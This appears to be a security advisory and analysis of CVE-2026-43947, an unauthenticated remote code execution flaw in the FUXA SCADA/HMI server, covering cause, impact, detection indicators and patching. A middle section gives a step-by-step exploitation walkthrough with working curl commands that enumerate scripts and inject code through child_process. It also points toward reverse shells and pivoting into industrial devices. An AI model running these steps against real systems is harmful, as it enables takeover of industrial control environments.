CVE-2026-43947: 
JavaScript vulnerability analysis and mitigation

CVE-2026-43947 is an unauthenticated Remote Code Execution (RCE) vulnerability in FUXA, an open-source web-based SCADA/HMI platform, caused by an authorization bypass in the script test mode. The vulnerability affects fuxa-server npm package version 1.3.0 and was disclosed on May 19, 2026, with the advisory published to the GitHub Advisory Database on May 26, 2026. It carries a CVSS v4.0 base score of 8.9 (High) (GitHub Advisory).

The vulnerability is classified as CWE-863 (Incorrect Authorization) and stems from a confused deputy flaw in the POST /api/runscript endpoint. The authorization logic in server/runtime/scripts/index.js validates permissions against the stored script's permission field by ID — but when test: true is included in the request body, the handler in server/runtime/scripts/msm.js compiles and executes the attacker-supplied code field via Node.js Module._compile instead of the stored script's code. Compounding this, the JWT middleware in server/api/jwt-helper.js automatically generates a guest token when no token is provided, and scripts lacking a permission field pass the authorization check for any caller including guests. Script IDs and names required for exploitation are obtainable via the unauthenticated GET /api/project endpoint (a separately reported information disclosure issue) (GitHub Advisory, FUXA Security Advisory).

Successful exploitation grants an unauthenticated, network-adjacent attacker full arbitrary code execution on the FUXA server host with the privileges of the Node.js process. This can result in complete compromise of confidentiality, integrity, and availability of the vulnerable system, including access to configured industrial device connections and credentials, manipulation of SCADA/HMI control functionality, and potential lateral movement into connected OT/ICS environments. The impact is limited to the vulnerable system itself (subsequent system impact is rated None in CVSS v4.0), but the industrial control context makes exploitation particularly consequential (GitHub Advisory).

1. Reconnaissance: Identify internet- or network-accessible FUXA instances running fuxa-server version 1.3.0 (default port 1881) using tools like Shodan or Censys, or by direct network scanning.
2. Enumerate script IDs: Send an unauthenticated GET request to the /api/project endpoint to retrieve all server-side script IDs and names:

curl -s http://<target>:1881/api/project | jq '.scripts[] | {id, name, permission}'

3. Identify exploitable script: From the response, select a script with no permission field set (or permission: 0), which will pass the authorization check for guest users.
4. Inject and execute arbitrary code: Send a POST request to /api/runscript with test: true and attacker-controlled code in the body, using the valid script ID and name obtained in step 2:

curl -s -X POST http://<target>:1881/api/runscript \
  -H "Content-Type: application/json" \
  -d '{"params":{"script":{"id":"s_42a888fa-8e3d4213","name":"subs","test":true,"code":"return require(\"child_process\").execSync(\"whoami\").toString()","parameters":[],"sync":true}}}'

5. Escalate access: Replace the whoami payload with commands to establish a reverse shell, exfiltrate credentials, or pivot to connected industrial devices (FUXA Security Advisory, GitHub Advisory).

• Network: Unauthenticated GET requests to /api/project followed shortly by POST requests to /api/runscript from the same source IP; outbound connections from the FUXA server process to unexpected external hosts (potential reverse shell).
• Logs: FUXA access logs showing POST /api/runscript requests with JSON bodies containing "test":true and a code field; requests with no Authorization header to /api/runscript.
• Process: Unexpected child processes spawned by the Node.js FUXA process (e.g., /bin/sh, bash, cmd.exe, curl, wget, python) executing system commands.
• File System: New or modified files in the FUXA installation directory created by the Node.js process; unexpected cron jobs, scheduled tasks, or startup scripts added by the FUXA service account.

Upgrade fuxa-server to version 1.3.1 or later, which patches the authorization bypass by ensuring test mode does not execute attacker-supplied code and fixing the guest token auto-generation behavior (FUXA Release v1.3.1, Security Fix PR). As an interim workaround, ensure all server-side scripts have explicit restrictive permissions configured to prevent guest access, or remove server-side scripts entirely if not required. Additionally, restrict network access to the FUXA server (port 1881) to trusted hosts only using firewall rules.

The vulnerability was responsibly disclosed by security researcher AbdrrahimDahmani and acknowledged by the FUXA maintainer (unocelli), who merged the security fix PR on March 19, 2026, and released v1.3.1 on April 9, 2026 (Security Fix PR). The issue was discussed in a Reddit cybersecurity thread and flagged in supply chain threat intelligence reports, reflecting community awareness of the risk to OT/ICS environments (GitHub Advisory).